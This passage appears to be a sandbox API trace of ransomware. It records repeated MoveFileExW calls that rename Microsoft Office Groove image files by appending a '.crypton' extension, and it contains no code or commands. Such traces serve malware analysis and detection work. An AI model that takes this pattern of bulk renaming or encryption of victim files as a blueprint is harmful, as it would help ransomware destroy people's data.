ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb99836c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb99836c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0101.062] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.066] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.072] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimages.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimages.bmp.crypton"), dwFlags=0x2) returned 1 [0101.076] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.084] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg.crypton"), dwFlags=0x2) returned 1 [0101.090] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimagemask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.096] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.100] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.108] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.112] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.121] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.125] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.134] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg.crypton"), dwFlags=0x2) returned 1 [0101.144] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimagemask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.152] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg.crypton"), dwFlags=0x2) returned 1 [0101.156] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\gripmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\gripmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.161] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg.crypton"), dwFlags=0x2) returned 1 [0101.164] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationiconmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationiconmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.201] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg.crypton"), dwFlags=0x2) returned 1 [0101.210] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg.crypton"), dwFlags=0x2) returned 1 [0101.216] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24imagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24imagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.224] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.228] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.238] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.242] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.253] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg.crypton"), dwFlags=0x2) returned 1 [0101.265] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg.crypton"), dwFlags=0x2) returned 1 [0101.268] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg.crypton"), dwFlags=0x2) returned 1 [0101.272] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg.crypton"), dwFlags=0x2) returned 1 [0101.274] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg.crypton"), dwFlags=0x2) returned 1 [0101.278] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg.crypton"), dwFlags=0x2) returned 1 [0101.281] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg.crypton"), dwFlags=0x2) returned 1 [0101.287] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.293] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmaskrtl.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmaskrtl.bmp.crypton"), dwFlags=0x2) returned 1 [0101.302] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.309] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.314] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.316] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.329] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.335] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.339] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg.crypton"), dwFlags=0x2) returned 1 [0101.342] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questioniconmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questioniconmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.358] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg.crypton"), dwFlags=0x2) returned 1 [0101.365] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16imagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16imagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.372] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg.crypton"), dwFlags=0x2) returned 1 [0101.382] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24imagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24imagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.391] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\sketchiconimages.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\sketchiconimages.bmp.crypton"), dwFlags=0x2) returned 1 [0101.396] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg.crypton"), dwFlags=0x2) returned 1 [0101.399] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupiconsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupiconsmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.404] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg.crypton"), dwFlags=0x2) returned 1 [0101.408] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopiconmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopiconmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.412] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimages256colors.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimages256colors.bmp.crypton"), dwFlags=0x2) returned 1 [0101.415] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp.crypton"), dwFlags=0x2) returned 1 [0101.423] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg.crypton"), dwFlags=0x2) returned 1 [0101.427] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimagemask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.430] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg.crypton" (normalized: "c:\\program files\\microsoft 